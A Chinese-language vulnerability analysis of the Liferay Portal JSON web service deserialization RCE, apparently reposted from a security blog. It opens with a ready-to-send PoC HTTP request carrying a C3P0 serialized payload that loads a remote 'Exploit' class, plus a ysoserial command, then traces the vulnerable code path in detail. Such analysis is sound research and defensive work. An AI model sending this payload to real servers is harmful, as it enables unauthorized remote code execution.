漏洞说明:
Liferay 是一个开源的 Portal(认证)产品, 提供对多个独立系统的内容集成, 为企业信息, 流程等的整合提供了一套完整的解决方案, 和其他商业产品相比, Liferay 有着很多优良的特性, 而且免费, 在全球都有较多用户.
该洞是个反序列化导致的 rce, 通过未授权访问其 API 传递 JSON 数据进行反序列化, 危害较高
影响范围:
- Liferay Portal 6.1.X
- Liferay Portal 6.2.X
- Liferay Portal 7.0.X
- Liferay Portal 7.1.X
- Liferay Portal 7.2.X
环境搭建:
https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 下载带 tomcat 的集成版, 接下来就可以运行了, 安装过程一路默认配置即可
漏洞复现:
- poc:
- POST /API/jsonws/invoke HTTP/1.1
- Host: PHP.local:8080
- Content-Length: 2335
- Content-Type: application/x-www-form-urlencoded
- Connection: close
- cmd={
- "/expandocolumn/add-column":{
- }
- }&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={
- "userOverridesAsString":"HexAsciiSerializedMap:aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f3132372e302e302e313a383938392f7400076578706c6f697470707070770400000000787702000178;"
- }
本地起 http server 挂载 Exploit.class 字节码文件
ysoserial c3p0 生成:
java -jar ysoserial.jar C3P0 "http://192.168.3.199/:Exploit"> test1.ser
或者用 mashalsec 直接生成 16 进制 paylaod:
漏洞分析:
这里是关于 liferay 的一些说明文档, 主要是可以如何通过 http://localhost:8080/API/jsonws 提供的一些 API
可以直接通过 API/jsonws 来查看调用结果或者通过其他形式来调用 API, 比如随便调用一个 API, 填上对应数据类型的字段, 将通过 / API/jsonws/invoke 进行调用, 可以看到此时参数全部都在 post 包的 body 中
那么实际上是 API/jsonws/invoke 这条路由来处理的请求, 那么去 web.xml 下面看一下对应的 serverlet, 存在此条 url 匹配规则
找到该 serverlet 对应的类, 可以看到此时位于
直接找到该类位置
Windows 下开启 debug: start.bat 中添加
SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8788
开启 debug,invoke 的 filter 一路走向如上图所示, 直到匹配到该 serverlet 的处理逻辑, 调用其 service 方法来处理 http 请求
HttpServletRequest 对象代表客户端的请求, 当客户端通过 HTTP 协议访问服务器时, HTTP 请求头中的所有信息都封装在这个对象中, 通过这个对象提供的方法, 可以获得客户端请求的所有信息.
getRequestURL 方法返回客户端发出请求时的完整 URL.
getRequestURI 方法返回请求行中的资源名部分.
getQueryString 方法返回请求行中的参数部分.
getPathInfo 方法返回请求 URL 中的额外路径信息. 额外路径信息是请求 URL 中的位于 Servlet 的路径之后和查询参数之前的内容, 它以 "/" 开头.
getRemoteAddr 方法返回发出请求的客户机的 IP 地址.
getRemoteHost 方法返回发出请求的客户机的完整主机名.
getRemotePort 方法返回客户机所使用的网络端口号.
getLocalAddr 方法返回 Web 服务器的 IP 地址.
getLocalName 方法返回 Web 服务器的主机名.
Web 应用中 servlet 可以使用 servlet 上下文 (context) 得到:
1. 在调用期间保存和检索属性的功能, 并与其他 servlet 共享这些属性.
2. 读取 Web 应用中文件内容和其他静态资源的功能.
3. 互相发送请求的方式.
4. 记录错误和信息化消息的功能.
一个 servlet 上下文是 servlet 引擎提供用来服务于 Web 应用的接口. Servlet 上下文具有名字 (它属于 Web 应用的名字) 唯一映射到文件系统的一个目录.
一个 servlet 可以通过 ServletConfig 对象的 getServletContext()方法得到 servlet 上下文的引用, 如果 servlet 直接或间接调用子类 GenericServlet, 则可以使用 getServletContext()方法.
上图主要是提取请求路径, 判断是否来显示 API 列表(path 为 ""或"/"), 否则调用父类的 service 方法处理 http 请求
request.getContextPath()可返回站点的根路径, 应该是得到项目的名字, 如果项目为根目录, 则得到一个 "", 即空的字条串. 如果项目为 abc, <%=request.getContextPath()%> 将得到 abc
比如要是请求 API/jsonws, 则走到下面逻辑
接着在重定向方法中设置 http 请求的一些属性, 对于该次请求的处理即结束
那么话说回去, 正常 poc 到其父类的 JSONserverlet 的 service 方法中, 调用 jsonWebserviceaction 对象的 execute 来处理 http 请求
接着判断 servletContextName 为空则返回 false
接着到1处拿到 authtype 为空直接 return
直接到 getJSONWebServiceAction()方法中, 拿到当前请求的路径为 invoke, 则返回一个 invokeaction 实例
实例化过程中将从 http 请求中拿到参数 cmd 的值
接着猜测应该是反射执行该 cmd 的值, cmd 的值也是 JSON 形式, 这里先调用 portal 的 JSON parser 器解析 cmd 的值反序列化后 (非原生反序列化) 返回一个 object(hashmap, 里面存着 cmd 所代表的键值对)
然后再将 hashmap 放到 list 中, 这个应该是判断 parser 解析的结果来选择处理方式
接着就是循环遍历该 list 取出其中的 hashmap, 并获取迭代器的方式遍历 hashmap, 取出保存在其中的键值对, 也就是 cmd 对应的键和值, 调用 parsestatement 处理主要就是解析出要反射调用的 API
接着到 executeStatement 中来进行实际的 API 调用, 到目前为止 API 都是以 uri 的方式存在, 只是一个虚拟路径, 那么在 java 中肯定有相应的处理类, 所以肯定要找到它, getJSONWebServiceAction 就完成了这个功能, 并且也完成了提取 http body 中的参数作为 API 反射调用的参数, 先直接看看该方法调用返回后的 JsonWebserviceAction
从 jsonwebServiceAction 的值可以看到又用到了代理的知识, 这种设计模式真的是在 java Web 网络通信应用中挺常用, 从 actionmethod 中就能看到实际上 API 调用的是 proxy 代理类的 addcolumn 方法, 那么 proxy 代理的接口是 expandoColumn 接口, 可以在注解里面看到其实现类是 ExpandoColumnImpl, 并且可以看到实际处理该 API 调用的类为 ExpandoColumnServiceImpl, 总之 getJSONwebServiceaction 完成了 API 调用的初始化准备工作, 还是有跟一下的必要
到 getJSONWebServiceAction 中看看, 其中有个 jsonWebServiceActionParameters.collectAll 又传入了 httpserverletrequest, 猜测其要处理 http 请求的内容, 跟进
进一步获取服务上下文, 通过_getInstance 来实际处理 http 请求中的参数了, 要获取 http 请求的相关内容, 肯定要用到相关的接口
所以回到 catalina.connector 的 request 类中, 将拿到 http 请求的一切内容(提供的获取 http 请求的接口必须走到这个类)
最后拿到的含有请求参数的 ParameterMap 如下图所示, 所有的参数值都是以 = 分割, 包括我们的序列化数据的其键值对, 接着遍历该 map, 再将其中的值取出来存到 hashmap 中保存到 attributes 成员变量里
然后再赋给服务上下文作为其内部成员变量来使用, 真的是挺曲折的 ==
加工完 service context 获取 http 参数后, 再将之前获得的相关参数值赋给下图的 jsonWebService 相关变量, 之后返回一个 actionImple 的实例, 并且这些参数传入, 后面猜应该要根据这些值来反射调用方法了
如下图所示到_invokeActionMethod 方法中执行
因为之前的解析也已经知道实际上 poc 里面调用的 addcolumn API 是对应的下图的 actionclass 的 addcolumn 重载其一方法, 支持转入 4 个参数, 包括一个 object, 作为 defaultdata 参数名传入, 漏洞点就在此
那么接着就要获取 action class 的参数, 为了后面进行反射执行, 这里调用_prepareParameters 方法
由下图就能看到, 此时拿到的参数名, 参数类型以及参数值, 参数类型就是 Object, 参数类型的值即为 C3P0 的绝对路径
若参数类型值不为空, 则通过类加载机制将其加载到 jvm 中(利用本地 gadget), 这里用 loadclass 来加载该类说明目标对象被装载后不进行链接, 这就意味这不会去执行该类静态块中间的内容
接着因为 default 的参数值不为 void, 所以调用 this._convertValueToParameterValue 对参数值进行处理, 接着猜测应该是判断这里传入的参数的具体类型
如下图所示也正是如此, 判断传入的参数类型, 匹配了几种情况后若不满足则将参数值置 null
然后调用 convertType 方法来将此时的 value 和参数类型进行转换后赋值给 parameterValue, 然而预置的转换规则并不匹配 poc 中的 c3p0 类
接着继续往下走, 判断当前的 default 的值是否以{开头, 满足则调用 looseDeserialize 来处理, 这里也是反序列化的关键点(JSON 数据反序列化)
由于 portal 用的是 jodd 的 JSON 解析, 因此此时使用其 jsonParser 对参数值进行扫描
对于传入的 payload JSON 数据, jodd 将使用 injectValueIntoObject 将参数的值还原到参数对象中
就像 fastjson 反射调用 set 赋值类似, jodd 也通过 JSON 中的属性来生成 setter 方法, 然后反射调用参数对象所代表类的对应 setter 方法来赋值
接着就到了 set 方法中, 此时将根据解析规则, 解析赋给 userOveridesAsString 的值
存储的 16 进制 payload 将被还原为序列化的字节码文件存储在字节数组中
那么我们知道字节数组肯定不能直接反序列化, 所以要如下图转为 ObjectInputStream
反序列化 gadget
接下来就到了反序列化时刻了, 与之前分析的 C3P0 反序列化相同
整个处理流程总结:
1. 根据 uri 的 / API/jsonws/invoke 获取 cmd 参数的值, 根据其值确定要调用的 API 函数, 然后通过动态代理确定要用哪个类来处理具体的 API 调用逻辑
2. 确定完处理类后, 要传给其参数值, 因此到 catalina.connector 中取 http body 中的值, 赋给服务上下文作为其内部成员变量做准备
3. 接着为反射调用 API 对应成员方法准备入口参数(已经存到 context 中了), 因为 poc 中利用的 API 是支持传入 object 的, 所以肯定要涉及到根据提供的类的来装载(loadclass 完成), 以及反序列化还原 object, 在判断传入的 object 的参数值满足 JSON 数据前缀后则调用 jodd 库来对 JSON 数据进行处理, 尝试恢复对象, jodd 解析规则根据属性确定 setter 方法, 并确定要还原的值(序列化 payload), 到此进入 c3p0 的处理逻辑
4.c3p0 的利用, 该类的 setuserOverridesAsString 方法可以将 16 进制编码的序列化数据进行反序列化, 序列化数据即为本地的 lib 下的 gadget
从 API 匹配到获取 http body 中的值进行反序列化, 从应用程序上来讲问题就是某些 API 的入口参数为 object, 然而序列化的数据传输后还原必然要经过反序列化, 应用提供了太过于宽泛的反序列化操作, defaultdata 后面的类名可控(以分号分割)
感觉也不是 jodd 库的锅, 应用里面也匹配反序列化的类, 但是对不在匹配规则中的类并未做黑白名单限制, 所以说本地只要有能够利用的 gadget, 就能够利用
参考:
- https://xz.aliyun.com/t/7485
- https://xz.aliyun.com/t/7499
来源: https://www.cnblogs.com/tr1ple/p/12608731.html